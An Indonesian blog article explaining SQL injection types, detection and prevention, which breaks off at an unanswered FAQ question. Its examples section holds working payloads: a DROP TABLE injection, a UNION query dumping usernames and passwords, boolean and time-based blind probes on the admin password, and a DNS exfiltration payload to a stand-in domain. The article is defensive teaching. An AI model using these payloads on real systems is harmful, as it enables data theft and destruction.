Like & Share:
- Like & Share : Jika ini dapat bermanfaat bagi orang lain? Klik tombol bagikan dan beri tahu mereka!
- Comment : Berikan komentar, komentar spam dan tidak relevan tidak akan pernah dipublikasikan!
- Klik Iklan : Terima kasih atas partisipasi Anda yang berharga. Keterlibatan Anda sangat kami hargai!
TokoDaring.Com – Apa itu SQL Injection (SQLi)? Dan Bagaimana Cara Mencegahnya. SQL Injection (SQLi) biasanya akan memanfaatkan formulir di situs website atau aplikasi Anda untuk mencoba mendapatkan informasi dari database. Informasi tersebut dapat berkisar dari versi database hingga kredensial pengguna lengkap, bergantung pada seberapa rentan situs website Anda.
Table of Contents
SQL Injection (SQLi)?
Melindungi organisasi Anda dari serangan SQL Injection mengharuskan Anda bersikap proaktif. Ada banyak tindakan yang dapat dilakukan tim keamanan Anda untuk memperkuat situs website atau aplikasi Anda terhadap kueri SQL berbahaya dan menghentikan serangan sebelum terjadi.
Di bawah ini, kita akan membahas tentang cara kerja SQL Injection dan jenis-jenis serangan yang mungkin Anda hadapi. Kami juga akan memberi tahu Anda cara mendeteksi, menangani, dan mencegah serangan SQLi.
Apa itu SQL Injection (SQLi)?
SQL Injection adalah pelanggaran keamanan yang menyusup ke tingkat database aplikasi atau situs website.
Begini cara kerjanya:
Penyerang “menyuntikkan” kode berbahaya ke dalam masukan di situs web. Jika Anda tidak membersihkan input, kode tersebut dapat memungkinkan penyerang melihat dan memanipulasi informasi dari database.
Biasanya, serangan jenis ini terjadi melalui formulir (form). Seorang pengguna mengisi formulir kontak atau login (atau bahkan menggunakan bilah pencarian) dan memasukkan kueri SQL. Dalam lingkungan yang aman, situs website akan “membersihkan” masukan tersebut terlebih dahulu, membersihkan dan memvalidasi masukan sebelum menggunakan atau menyimpannya dalam database.
Serangan SQLi bisa sesederhana perintah drop. Formulir apa pun dengan sanitasi dasar dan protokol keamanan tidak akan memungkinkan pengguna mengirimkan perintah drop:
'); DROP TABLE contact; --
Namun jika perintah itu berhasil, ia akan menghapus atau menghapus seluruh tabel dari database. Itu sesederhana serangan SQLi. Saat ini, serangan SQLi jauh lebih canggih dan dapat mendatangkan malapetaka pada situs website Anda.
Terlebih lagi, SQL Injection adalah vektor utama eksploitasi kerentanan di website. Faktanya, 33 persen insiden keamanan pada tahun 2022 melibatkan serangan SQLi. Itu sebabnya pencegahan serangan SQLi sangat penting untuk bisnis perusahaan mana pun.
Bagaimana cara kerja kueri SQL?
Kueri SQL adalah cara utama aplikasi dan situs web berinteraksi dengan database. Kueri memungkinkan Anda mengambil, menyisipkan, dan mengubah informasi dalam database.
Pada dasarnya, SQL memberi Anda kerangka kerja untuk membuat dan menyusun kueri. Kueri apa pun akan melibatkan satu atau beberapa tabel dan ketentuan, dan melakukan tugas tertentu dalam database.
Ambil kueri pada contoh berikutnya. Dibutuhkan dua nilai dan memasukkannya ke dalam kolom tertentu dalam tabel database:
INSERT INTO table (column1, column2) VALUES (value1, value2);
Berikut contoh lainnya. Kueri ini mengambil baris dari dua tabel dan menggabungkannya sehingga keduanya memiliki nilai yang sama:
SELECT column1, column2 FROM table1 JOIN table2 ON table1.column = table2.column;
Jika Anda pernah berinteraksi dengan database menggunakan alat manajemen seperti phpMyAdmin, jenis kueri ini akan sangat masuk akal. Alat manajemen basis data menawarkan representasi visual yang bagus dari basis data, yang dapat mempermudah pembuatan kueri kompleks.
Kueri SQL terjadi sepanjang waktu saat berinteraksi dengan situs website, meskipun kueri tersebut tidak terlihat jelas oleh pengguna akhir. Saat Anda menggunakan mesin telusur, misalnya, Anda menanyakan database situs yang diindeks untuk memberikan hasil yang cocok dengan kueri Anda.
Tentu saja ini merupakan penyederhanaan yang berlebihan. Namun, secara umum, setiap kueri SQL melewati proses yang sama:
- Anda memasukkan kueri.
- Aplikasi atau situs web memvalidasi koneksi ke database.
- Pada tahap ini, aplikasi atau situs web memvalidasi dan membersihkan kueri, lalu mengirimkannya.
- Basis data menerima dan menafsirkan kueri.
- Pada langkah ini, database mengeksekusi query dan mendapatkan hasilnya.
- Basis data mengembalikan hasil dari kueri.
- Koneksi ke database ditutup.
Serangan SQLi terjadi pada langkah pertama. Penyerang memasukkan kueri berbahaya dan aplikasi harus memvalidasi apakah masukan tersebut dapat diterima dan membersihkannya. Jika karena alasan apa pun aplikasi melewatkan langkah itu, database (dan situs web) akan terkena serangan.
Berbagai jenis SQL Injection
Ada berbagai jenis serangan SQLi yang perlu Anda pahami untuk melindungi organisasi Anda dari serangan tersebut. Di bagian ini, kita akan menjelajahi tiga jenis SQL Injection utama yang mungkin perlu ditangani oleh tim keamanan Anda.
in-band SQL Injection
SQL Injection “in‑band” menggunakan saluran yang sama untuk meluncurkan serangan dan melihat informasi yang dikembalikan. Untuk menjelaskan cara kerjanya, pertama-tama kita perlu membahas dua jenis serangan SQLi in-band:
- SQL Injection berbasis kesalahan. Jenis serangan ini dirancang untuk menghasilkan kesalahan dari database. Jika situs web atau aplikasi Anda dikonfigurasi untuk menampilkan kesalahan, serangan dapat membuat database mengungkapkan informasi keamanan penting melalui kesalahan tersebut. Informasi tersebut mungkin mencakup versi perangkat lunak database, nama tabel dan kolom, dll.
- SQL Injection berbasis serikat pekerja. Jenis kueri ini menggabungkan hasil pernyataan SELECT menjadi satu kumpulan data melalui operator UNION. Dengan kata lain, penyerang menggabungkan kueri yang sah dengan kueri jahat untuk mendapatkan informasi yang dilindungi dari database.
Serangan SQL Injection in-band adalah yang paling umum karena mudah untuk diuji. Penyerang dapat menggunakan formulir apa pun di situs web Anda untuk melihat apakah formulir tersebut membersihkan masukan atau mengembalikan kesalahan saat mengirimkan kueri.
Blind SQL Injection
Tidak seperti SQL Injection in-band, serangan blind SQLi tidak mengembalikan informasi atau kesalahan apa pun yang terlihat dari database. Sebaliknya, penyerang perlu membuat “pengurangan” berdasarkan bagaimana aplikasi atau situs web berperilaku selama serangan sebagai respons terhadap pertanyaan mereka.
Bayangkan serangan blind SQLi sebagai peningkatan level dari injeksi in‑band. Dua jenis utama serangan blind SQLi adalah:
- Suntikan berbasis Boolean. Jenis serangan ini menggunakan pernyataan benar atau salah untuk menyelidiki database dan melihat apakah database mengembalikan informasi apa pun. Bergantung pada respons database, penyerang dapat menyimpulkan cara kerjanya dan tingkat keamanannya.
- Serangan injeksi berbasis waktu. Alih-alih mengandalkan pernyataan benar atau salah, jenis serangan ini menambahkan pengatur waktu pada kueri. Bagaimana dan kapan aplikasi merespons pertanyaan memberi Anda informasi tentang cara kerjanya.
Nanti, kita akan membahas contoh kedua jenis blind SQLi.
Out-of-band SQL Injection
Serangan out‑of‑band SQL Injection melibatkan saluran eksternal untuk mencoba dan mengumpulkan informasi dari database. Biasanya digunakan ketika serangan SQL Injection in-band dan blind gagal karena memerlukan upaya tambahan untuk menyiapkannya.
Dalam skenario ini, penyerang menggunakan kueri untuk mencoba dan “mengelabui” database agar mengirimkan informasi ke sistem eksternal yang mereka kendalikan. Dua jenis serangan SQLi out‑of‑band yang paling umum adalah:
- Serangan pencarian DNS. Serangan ini melibatkan penggunaan kueri SQL untuk membuat database menjangkau Server Nama Domain (DNS) yang Anda kendalikan. Karena Anda mengontrol DNS, Anda dapat memeriksa log server untuk melihat informasi tentang permintaan masuk, kemungkinan termasuk nama pengguna dari database.
- Serangan permintaan HTTP. Jika server database dapat membuat permintaan HTTP, Anda dapat menggunakan jenis serangan ini untuk memaksanya terhubung ke server yang Anda kendalikan. Bergantung pada kuerinya, Anda bisa membuat database menambahkan informasi sensitif ke permintaan HTTP yang dikirimkan ke server.
Serangan SQLi out‑of‑band dapat melewati banyak tindakan keamanan tradisional. Tanpa sanitasi input atau pembatasan lalu lintas keluar (yang seharusnya menjadi standar bagi organisasi mana pun), perlindungan terhadap jenis serangan ini dapat menjadi tantangan.
Contoh SQL Injection
Sekarang, mari kita bahas beberapa contoh berbagai jenis SQL Injection.
Contoh SQLi in-band
Untuk mendapatkan gambaran seperti apa serangan SQLi in-band, mari kita periksa SQL Injection berbasis gabungan. Dalam contoh ini, kami meminta database untuk mengembalikan daftar produk dan deskripsi terkait yang cocok dengan kueri. Itu adalah bagian pertama dari kueri, yang bergantung pada pernyataan UNION SELECT:
SELECT productName, productDescription FROM products WHERE productName LIKE ‘%’ UNION SELECT username, password FROM users –%’;
Basis data melihat kueri itu dan karena bagian pertama sah, basis data juga mengeksekusi bagian kedua. Itu berkat pernyataan UNION.
Dalam skenario tersebut, jika situs web organisasi Anda tidak aman terhadap SQL Injection, serangan akan mengembalikan daftar nama pengguna dan kata sandi dari tabel pengguna. Kata sandi tersebut mungkin dienkripsi, namun hal ini tetap merupakan pelanggaran informasi besar-besaran yang terjadi dalam hitungan detik karena kurangnya keamanan.
Contoh SQLi blind
Contoh sederhana dari serangan SQLi blind adalah jika penyerang mencoba menyelidiki situs website organisasi Anda dengan kueri yang menambahkan parameter benar atau salah. Dalam skenario ini, penyerang mungkin ingin memeriksa apakah administrator menggunakan nama pengguna yang umum, seperti admin (yang merupakan praktik keamanan yang buruk).
Salah satu cara untuk melakukannya adalah dengan mencoba menggunakan nama pengguna admin di formulir login. Penyerang juga dapat menambahkan kueri yang akan mengembalikan pernyataan benar atau salah:
admin' AND 1=1–
Kueri tersebut memberitahu basis data untuk mencari nama pengguna admin dan mengonfirmasi apakah 1 sama dengan 1. Tujuan kueri tersebut adalah untuk memeriksa apakah basis data rentan dan untuk melihat apakah basis data memberi Anda informasi tentang nama pengguna tersebut.
Situs website yang tidak diamankan dengan baik akan menampilkan pesan yang mengatakan, “Itu bukan kata sandi yang tepat untuk akun ini”. Hal ini memberi tahu penyerang bahwa mereka memiliki nama pengguna yang tepat, sehingga lebih mudah untuk melakukan serangan brute force.
Penyerang dapat menggunakan injeksi berbasis boolean ini lebih jauh lagi. Dalam contoh ini, kami menggunakan kueri untuk memberi tahu database agar menunggu lima detik untuk mengembalikan hasilnya jika huruf pertama kata sandi untuk akun admin adalah “a”:
' OR (SELECT IF(SUBSTRING(password, 1, 1) = 'a', SLEEP(5), 0) FROM users WHERE username = 'admin') –
Jika kode tersebut berhasil, diperlukan waktu lima detik sebelum Anda mendapat respons dari layanan. Tidak ada penundaan berarti huruf pertama kata sandi bukan “a”.
Biasanya, penyerang akan menyelidiki database dengan serangan SQLi buta yang sederhana. Jika mereka melihat adanya kerentanan, mereka dapat mengeksploitasinya dengan pertanyaan yang lebih canggih yang akan menghasilkan informasi yang lebih berharga.
Contoh SQLi out‑of‑band
Untuk mendapatkan gambaran tentang tampilan serangan SQLi out‑of‑band, mari kita lihat contoh injeksi pencarian DNS. Dalam query ini, kami memberitahu database untuk menggunakan operator UNION untuk menggabungkan hasil dari dua pernyataan SELECT:
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username = 'admin'), '.yourdomain.com\\')) –
Salah satu pernyataan menggunakan fungsi LOAD_FILE SQL untuk membaca isi file. Dalam hal ini, kami menggunakannya sebagai bagian dari serangan untuk memicu permintaan jaringan dari database ke domain yang kami kendalikan.
Fungsi CONCAT menggabungkan string. Dalam skenario ini, ia akan mengekstrak kata sandi pengguna admin dari tabel pengguna dan menambahkannya ke URL di akhir kueri. Artinya database akan membuat permintaan ke domain yang terlihat seperti password.domainanda.com.
Meskipun jalur jaringan tidak ada, log DNS Anda akan berisi informasi tentang permintaan tersebut. Jika serangan berhasil dan kata sandinya diekstraksi, Anda akan dapat melihatnya di log.
Biasanya, penyerang akan menggunakan domain yang sulit dilacak atau dapat dibuang untuk jenis serangan ini. Dengan begitu, meskipun Anda mengakses log lalu lintas jaringan untuk melihat ke mana permintaan tersebut pergi, organisasi Anda mungkin tidak dapat berbuat banyak dengan informasi tersebut, kecuali memblokir lalu lintas ke domain tersebut.
Cara mendeteksi SQL Injection
Pada akhirnya, tujuan organisasi Anda adalah mencegah serangan SQLi sama sekali. Namun bagian dari protokol atau audit keamanan komprehensif melibatkan pemeriksaan serangan atau kerentanan di masa lalu yang membuat Anda terbuka terhadap serangan tersebut. Jika Anda merasa bisnis Anda menghadapi serangan SQLi, berikut yang harus dilakukan:
Pemindaian kerentanan otomatis
Cara terbaik untuk mendeteksi kerentanan yang membuka aplikasi atau situs web Anda terhadap serangan SQLi adalah melalui pemindaian otomatis. Pemindai kerentanan otomatis dapat memeriksa kode dan file situs Anda untuk mencari titik keamanan yang lemah.
Tidak menambal atau menutup kerentanan situs website ini, tetapi menjamin Anda akan menghadapi serangan SQLi di beberapa titik. Semakin besar suatu organisasi, semakin besar pula target yang dikandungnya. Jika Anda adalah bagian dari organisasi perusahaan, tim Anda kemungkinan besar akan menghadapi segala jenis serangan, termasuk SQL Injection.
Salah satu contoh pemindai kerentanan otomatis adalah plugin WPScan. Plugin ini memanfaatkan database kerentanan WPScan untuk memindai situs WordPress dari kerentanan dan ancaman keamanan. Kemudian, ia memberi tahu Anda jika menemukan masalah keamanan apa pun dengan situs web Anda.
Jika organisasi Anda tidak menggunakan WordPress, ada banyak layanan pihak ketiga yang dapat berintegrasi dengan situs web atau aplikasi Anda untuk menjalankan pemindaian kerentanan otomatis. Mengintegrasikan solusi jenis ini sangat penting untuk memastikan situs web Anda dan informasi sensitif apa pun dalam database tidak rentan terhadap serangan.
Pantau log basis data untuk aktivitas yang tidak biasa
Selain mengotomatiskan pemindaian kerentanan, tim keamanan Anda harus memeriksa log database secara teratur. Log harus menyertakan informasi tentang semua kueri, kapan kueri tersebut dilakukan, dan hasil yang dikembalikan.
Untuk situs web atau aplikasi yang aktif, itu berarti harus melalui ribuan pertanyaan. Namun, proses ini penting jika Anda ingin mengidentifikasi aktivitas yang tidak biasa seperti serangan SQLi.
Salah satu cara untuk menyederhanakan proses ini adalah dengan fokus pada kueri yang berisi kueri SQL dengan pernyataan “berbahaya” yang dikenal, seperti UNION atau SELECT. Dalam praktiknya, tidak ada pengguna yang boleh memasukkan pertanyaan tersebut ke dalam login atau formulir kontak. Jika log menunjukkan permintaan semacam itu, Anda hampir pasti menghadapi serangan SQLi.
Log basis data juga dapat mengungkapkan informasi lain seperti alamat IP asal, yang dapat Anda gunakan untuk memblokir penyerang. Semua ini hanya mungkin terjadi berkat pemantauan aktif, yang perlu menjadi bagian dari protokol keamanan organisasi Anda.
Tinjauan kode manual
Jika Anda seorang pengembang web atau analis keamanan yang sangat berpengalaman, perlu diperhatikan bahwa Anda selalu dapat melakukan peninjauan kode manual pada situs Anda untuk mencoba mendeteksi SQL Injection. Namun, hal ini tidak disarankan kecuali Anda memiliki banyak waktu luang dan tidak ada alternatif lain.
Terlebih lagi, Anda mungkin tidak dapat benar-benar mendeteksi SQL Injection, namun kerentanan yang dapat menyebabkannya. Jadi, ini lebih merupakan upaya preventif.
Tapi sekali lagi, ini akan sangat memakan waktu, apalagi seperti mencari jarum di tumpukan jerami. Terutama karena kerentanan dapat berasal dari banyak sumber berbeda.
Cara menangani serangan SQL Injection
Jika Anda yakin bahwa situs web atau aplikasi organisasi Anda berhasil terkena serangan SQLi, langkah Anda selanjutnya adalah memitigasi kerusakan tersebut. Setelah mitigasi, Anda dapat melanjutkan untuk mencegah serangan di masa depan, yang akan kita bahas sebentar lagi.
Gunakan Website Application Firewall
Menyetel firewall aplikasi web (WAF) berfungsi sebagai tindakan pencegahan terhadap serangan SQLi dan mitigasi. Waktu terbaik untuk menyiapkan WAF yang memblokir pelaku jahat mengakses situs web Anda adalah sebelum serangan, namun waktu terbaik kedua adalah selama proses pembersihan.
WAF adalah perangkat lunak yang dapat Anda konfigurasikan dengan serangkaian aturan rumit untuk memblokir jenis koneksi tertentu. Anda dapat menggunakannya untuk memblokir pelaku jahat yang diketahui mengakses situs web Anda, memblokir serangan berbasis bot, dan menerapkan banyak langkah keamanan lainnya.
Tujuan menyiapkan WAF setelah serangan SQL Injection adalah untuk mencegah pelaku jahat yang sama kembali untuk mendapatkan akses ke informasi tambahan. Anda dapat melakukan ini dengan menggunakan informasi yang Anda temukan di log database dan melihat pengguna atau alamat IP mana yang perlu Anda blokir.
Pulihkan cadangan yang bersih
Dalam beberapa skenario, penyerang menggunakan serangan SQLi untuk memasukkan informasi ke dalam database. Hal ini dapat membahayakan integritas database, atau digunakan untuk menambahkan hak istimewa baru ke akun pengguna yang sudah ada. Penyerang juga dapat mencoba mengubah struktur database untuk mempermudah pengambilan informasi.
Tim keamanan Anda harus dapat mengidentifikasi sebagian besar perubahan pada database dengan memeriksa log yang sesuai. Namun, jika Anda segera mendeteksi serangan SQLi, kami menyarankan Anda memulihkan database ke kondisi sebelumnya untuk menghindari kemungkinan kerusakan.
Pendekatan ini hanya berfungsi jika Anda memiliki cadangan database terbaru. Cadangan yang lebih lama mungkin menyebabkan Anda kehilangan informasi penting, oleh karena itu sebaiknya jangan menggunakannya
Jika organisasi Anda mengandalkan solusi pencadangan yang membuat salinan situs web dan database secara real-time, Anda tidak akan menghadapi kesulitan yang sama. Jetpack VaultPress Backup, misalnya, membuat cadangan situs Anda kapan pun Anda mengubahnya.
Itu termasuk perubahan pada database, yang berarti Anda dapat menggunakan layanan ini untuk memulihkan database (dan situs web Anda) sebelum serangan. Ini akan memungkinkan Anda untuk menambal kerentanan yang terkait, mencegah penyerang mengeksploitasinya lagi.
Tindakan proaktif untuk mencegah serangan SQLi
Cara terbaik untuk mencegah serangan SQLi adalah dengan bersikap proaktif dalam hal keamanan. Berikut adalah langkah-langkah yang harus Anda minta untuk diterapkan oleh tim keamanan Anda guna mengurangi risiko keberhasilan SQL Injection:
Hindari penggunaan SQL dinamis
SQL Dinamis melibatkan kueri yang diformat sebagai string, yang juga dapat memasukkan masukan pengguna. Mengaktifkan jenis kueri ini dapat membuat situs web Anda rentan terhadap serangan tanpa sanitasi yang tepat.
Untuk memberikan contoh SQL dinamis, mari kita lihat kueri yang menyertakan variabel nama pengguna. Kueri ini berubah saat Anda menjalankannya, untuk memperhitungkan masukan pengguna:
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
SQL Dinamis memudahkan penyerang untuk menyelidiki database karena memungkinkan interaksi yang lebih kompleks. Hal ini tidak berarti bahwa SQL dinamis pada dasarnya tidak aman, namun hal ini bisa terjadi jika dipadukan dengan kurangnya langkah-langkah keamanan tambahan, seperti validasi input dan sanitasi.
Validasi input dan sanitasi data
Kami telah berbicara banyak tentang memvalidasi dan membersihkan pertanyaan di seluruh panduan ini. Itu adalah proses yang melibatkan pengambilan kueri pengguna, memvalidasi bahwa kueri tersebut memenuhi kriteria tertentu, dan menghapus karakter yang berpotensi membahayakan dari kueri tersebut.
Dalam konteks kueri basis data, validasi masukan berarti bahwa setiap formulir di situs web Anda hanya boleh menerima tipe data tertentu. Beberapa bidang mungkin menerima string atau teks, tanggal lain, angka, dan sebagainya. Mendukung setiap jenis data memudahkan penyerang menerapkan SQL Injection.
Anda dapat mengambil langkah lebih jauh dengan membatasi panjang input, memeriksa apakah input tersebut cocok dengan pola yang telah ditentukan, dan secara umum menutup celah apa pun yang memungkinkan penyerang melewati batasan.
Sanitasi terjadi setelah tahap validasi. Jika penyerang berhasil mengirimkan kueri berbahaya, proses sanitasi akan menghapus bagian mana pun yang mungkin dapat mengeksploitasi kerentanan.
Jika Anda menggunakan alat modern untuk mengelola formulir di situs web Anda, kemungkinan besar alat tersebut sudah memvalidasi dan membersihkan masukan. Meski begitu, merupakan langkah cerdas jika tim keamanan Anda menguji alat ini untuk memastikan alat tersebut aman untuk digunakan.
Gunakan kueri berparameter
Kueri berparameter adalah pernyataan SQL yang menggunakan placeholder untuk nilai pengguna. Hal ini berbeda dengan menyematkan masukan pengguna secara langsung ke dalam pernyataan.
Pendekatan ini menambahkan lapisan pemisahan dan memastikan bahwa input pengguna diperlakukan sebagai data dan bukan sebagai bagian dari kode SQL sehingga dapat dieksekusi. Dengan pendekatan ini, masukan pengguna dikirimkan ke database secara terpisah dari kueri SQL utama yang terkait dengannya.
Mengirimkan input pengguna secara terpisah memaksa database memperlakukannya sebagai nilai terpisah. Dengan tindakan keamanan ini, penyerang dapat mengirimkan kode SQL berbahaya, namun database tidak akan pernah mengenalinya sebagai entri yang dapat dieksekusi.
Gunakan kerangka kerja pemetaan relasional objek (ORM)
Tujuan kerangka pemetaan objek-relasional (ORM) adalah untuk membuat lapisan antara lapisan database dan lapisan aplikasi. Itu berarti organisasi Anda dapat menggunakan kerangka ORM untuk berinteraksi dengan database tanpa harus bergantung pada kueri SQL.
Saat Anda menggunakan kerangka ORM, Anda dapat berinteraksi dengan database menggunakan berbagai bahasa pemrograman. Sebagian besar kerangka ORM juga menggunakan kueri berparameter (lihat bagian sebelumnya), yang berarti kerangka tersebut memisahkan kode SQL dari nilai data dalam kueri.
Pendekatan interaksi dengan database ini secara drastis mengurangi tingkat keberhasilan serangan SQLi. Selain menggunakan kueri berparameter, sebagian besar kerangka ORM membersihkan dan memvalidasi input serta menangani koneksi database dengan lebih aman.
Selalu perbarui perangkat lunak
Untuk situs web mana pun yang menggunakan perangkat lunak atau alat pihak ketiga, Anda juga harus memastikan bahwa perangkat lunak Anda selalu diperbarui. Dalam kasus WordPress, ini berarti selalu memperbarui perangkat lunak inti sistem manajemen konten (CMS) serta plugin, tema, dan integrasi perangkat lunak apa pun.
Bahaya perangkat lunak yang ketinggalan jaman tidak bisa dilebih-lebihkan, baik untuk situs web pribadi atau bisnis perusahaan. Komponen perangkat lunak yang ketinggalan jaman di server Anda dapat menimbulkan risiko keamanan yang signifikan.
Semakin ketinggalan jaman suatu perangkat lunak, semakin besar kemungkinan perangkat lunak tersebut diketahui memiliki kerentanan keamanan. Vendor perangkat lunak terkemuka menambal kerentanan ini secara berkala. Jika Anda gagal memperbarui perangkat lunak, Anda meningkatkan risiko semua jenis serangan secara eksponensial, termasuk SQL Injection.
Gunakan database dan pemindai kerentanan
Pemindai kerentanan dapat menganalisis situs web atau aplikasi organisasi Anda untuk menemukan masalah keamanan yang diketahui. Hal ini dilakukan dengan membandingkan konten situs Anda, termasuk kode dan komponennya, dengan database kerentanan.
Hasil yang Anda peroleh akan bergantung pada database dan pemindai kerentanan yang Anda gunakan. Jika organisasi Anda menggunakan WordPress, Anda dapat memanfaatkan database kerentanan WPScan untuk menganalisis situs web Anda dan mengidentifikasi potensi masalah keamanan.
Pemindai kerentanan yang dipilih organisasi Anda untuk digunakan harus mencakup kemampuan otomatisasi. Hal ini akan memungkinkan tim keamanan Anda untuk fokus pada aspek lain dalam mengamankan situs web sambil menyerahkan pemindaian situs lengkap ke alat yang memiliki akses ke database kerentanan yang komprehensif.
Organisasi perusahaan dapat mengintegrasikan alat yang ada dengan perpustakaan WPScan melalui koneksi API. Alternatifnya, organisasi kecil dapat menggunakan Jetpack Protect sebagai pemindai mereka. Alat yang dibuat sebelumnya ini memanfaatkan perpustakaan yang sama.
Terakhir, untuk pengujian kotak hitam, WPScan CLI Scanner adalah pilihan yang bagus.
Batasi izin dan hak istimewa basis data
Salah satu cara terbaik untuk mengamankan database (atau situs web atau aplikasi apa pun) adalah dengan membatasi siapa yang memiliki akses ke database tersebut. Jika beberapa anggota tim memerlukan akses ke database, Anda masih dapat membatasi risiko dengan memastikan setiap orang hanya memiliki izin yang cukup untuk memenuhi tugas mereka dan tidak ada yang lain.
Hal ini disebut dengan prinsip paling tidak istimewa (PoLP) dan merupakan prinsip andalan dalam bidang keamanan informasi. Hal ini berlaku untuk database serta aplikasi lainnya di mana pengguna memiliki peran berbeda dengan tanggung jawab unik.
Singkatnya, hanya administrator yang boleh memiliki akses penuh ke database. Hal ini membatasi kemungkinan penyerang menggunakan SQL Injection untuk mengambil informasi yang dapat mereka gunakan untuk mengakses akun lain yang dapat mengedit database.
Pendekatan ini masih menyisakan risiko penyerang mendapatkan akses ke akun administrator. Di lingkungan perusahaan, administrator harus mengikuti protokol keamanan yang ditingkatkan, termasuk autentikasi multifaktor (MFA) dan kredensial yang berubah secara berkala untuk memitigasi risiko tersebut.
Hindari menampilkan kesalahan database secara langsung kepada pengguna
Mampu melihat informasi kesalahan di browser adalah alat yang ampuh untuk memecahkan masalah. Kelemahannya adalah penyerang terkadang dapat menggunakan informasi kesalahan tersebut untuk menemukan cara melewati fitur keamanan di situs web Anda.
Ini adalah kasus kesalahan basis data. Jika penyerang melakukan serangan SQLi pada situs web atau aplikasi, dan serangan tersebut tidak berhasil, menampilkan informasi kesalahan dapat memberi mereka wawasan tentang cara memperbaiki serangan tersebut.
Seperti yang Anda ingat dari bagian sebelumnya dalam panduan ini, perbedaan antara serangan SQLi in-band dan blind adalah bahwa database mengembalikan informasi kesalahan dengan serangan sebelumnya. Menghapus faktor tersebut akan mempersulit pelaku kejahatan untuk mengetahui apakah ada kerentanan yang dapat mereka eksploitasi dengan SQL.
Penting untuk dicatat bahwa mengonfigurasi aplikasi agar tidak menampilkan pesan kesalahan tidak berarti informasi tidak muncul di mana pun. Jika tim keamanan Anda memiliki akses ke database dan log server, mereka masih dapat mengidentifikasi dan menambal kerentanan yang menyebabkan serangan SQL Injection. Perbedaannya adalah data tidak tersedia untuk pengguna biasa, sehingga membuat situs web Anda lebih aman.
Gunakan WAF
Kami membahas tentang penggunaan WAF di bagian tentang apa yang harus dilakukan jika organisasi Anda menghadapi serangan SQLi. Pentingnya WAF bagi perusahaan tidak dapat dilebih-lebihkan.
Perangkat lunak ini dapat secara drastis mengurangi risiko sebagian besar jenis serangan di situs web Anda dengan memasukkan aktor jahat yang diketahui ke dalam daftar yang diblokir (atau “memasukkan” aktor yang aman ke dalam daftar yang diizinkan). Itu berarti penyerang bahkan tidak akan bisa masuk ke situs web, apalagi berinteraksi dengan formulir dan menguji kelemahannya menggunakan kueri SQL.
Banyak web host terkemuka menawarkan WAF terintegrasi di tingkat server dan mengelolanya untuk Anda. Hal ini dapat membuat kehidupan organisasi Anda jauh lebih mudah. Kelemahannya adalah Anda tidak memiliki kendali penuh atas parameter WAF, namun hal ini dapat menjadi trade off yang dapat diterima, bergantung pada kebutuhan keamanan Anda.
Gunakan daftar yang diizinkan, bukan daftar yang tidak diizinkan
WAF dapat menggunakan daftar yang diizinkan atau daftar blokir untuk mengontrol alamat IP mana yang dapat mengakses situs web atau aplikasi. Sebagian besar WAF mengandalkan daftar blokir yang berisi informasi dari vendor dan penyedia keamanan pihak ketiga. Organisasi-organisasi ini mengumpulkan informasi dari pelaku jahat yang diketahui sehingga memudahkan WAF memblokir sebagian besar jenis serangan.
Daftar yang diizinkan membalikkan skrip dan memungkinkan organisasi Anda memutuskan siapa yang dapat mengakses situs web atau halaman sensitif dengan formulir yang dapat digunakan untuk meluncurkan serangan SQLi.
Dengan daftar yang diizinkan, Anda dapat mencantumkan alamat IP anggota organisasi dan siapa pun yang memerlukan akses ke situs web. WAF akan secara otomatis memblokir siapa pun yang tidak termasuk dalam daftar yang diizinkan, mencegah pelaku jahat mencoba menyebarkan serangan SQL.
Latih karyawan tentang metode pencegahan
Semua orang di tim keamanan web organisasi Anda harus memahami cara kerja serangan SQL Injection dan cara mencegahnya. Hal ini memerlukan pemahaman komprehensif tentang berbagai jenis serangan SQLi dan praktik keamanan terbaik, seperti validasi dan sanitasi.
Karyawan juga perlu memahami pentingnya dan bagaimana menerapkan setiap metode pencegahan yang dibahas dalam panduan ini. Penerapan yang tepat dari setiap tindakan proaktif yang kita diskusikan dapat secara drastis mengurangi kemungkinan keberhasilan serangan SQLi di situs web Anda. Artinya, penerapannya harus menjadi prioritas utama keamanan organisasi Anda.
Jika organisasi Anda menggunakan WordPress, kami menyarankan agar tim keamanan Anda berlangganan publikasi yang membahas tentang kerentanan terbaru pada platform saat kerentanan tersebut ditemukan. Salah satu sumber yang bagus untuk mengetahui informasi tentang kerentanan baru adalah blog WPScan.
Lakukan audit keamanan rutin dan pengujian penetrasi
Audit keamanan situs web memungkinkan tim Anda meninjau praktik dan langkah keamanan yang ada. Kami merekomendasikan untuk melakukan audit rutin karena, seiring dengan perubahan bisnis Anda, cara Anda mendekati keamanan juga harus ikut berubah.
Sebagai contoh, Anda sebagian besar dapat melindungi situs web kecil dengan menggunakan plugin keamanan. Namun, di tingkat perusahaan, Anda memerlukan beberapa solusi keamanan, yang sering kali terintegrasi satu sama lain, untuk membantu Anda melindungi integritas bisnis dan informasi sensitif apa pun yang ditanganinya.
Pengujian penetrasi harus menjadi bagian dari audit keamanan yang komprehensif. Organisasi juga dapat menggunakan layanan pengujian penetrasi di luar lingkup audit untuk memastikan bahwa langkah-langkah keamanan mereka memenuhi standar. Misalnya, Anda mungkin ingin menyewa penguji kotak hitam.
Layanan pengujian penetrasi mana pun yang memiliki reputasi baik akan mencoba mengakses informasi sensitif menggunakan serangan SQL Injection. Jika Anda telah melakukan tindakan proaktif lain yang telah kita bahas sejauh ini, tindakan tersebut akan sia-sia setelah upaya mereka untuk mengakses database.
FAQ tentang SQL Injection
Jika Anda masih memiliki pertanyaan tentang serangan SQL Injection dan cara kerjanya, semoga bagian ini dapat menjawabnya.
Seberapa umumkah serangan SQL Injection?
33 persen kerentanan web yang diketahui pada tahun 2022 terkait dengan SQL Injection. Hal ini menjadikan SQL Injection sebagai jenis ancaman yang paling umum, diikuti dengan skrip lintas situs, unggahan file berbahaya, dan injeksi kode.
Salah satu alasan utama mengapa serangan SQLi begitu lazim adalah karena serangan tersebut mudah diterapkan. Penyerang dapat dengan mudah menguji beberapa jenis kueri SQL di situs web, asalkan situs tersebut memiliki formulir yang dapat diakses oleh klien. Hal ini dapat dilakukan dalam hitungan menit dan penyerang dapat menggunakan kembali kueri yang sama di seluruh situs untuk menguji kerentanan serupa.
Mengapa serangan SQL Injection dianggap sebagai kerentanan yang berbahaya?
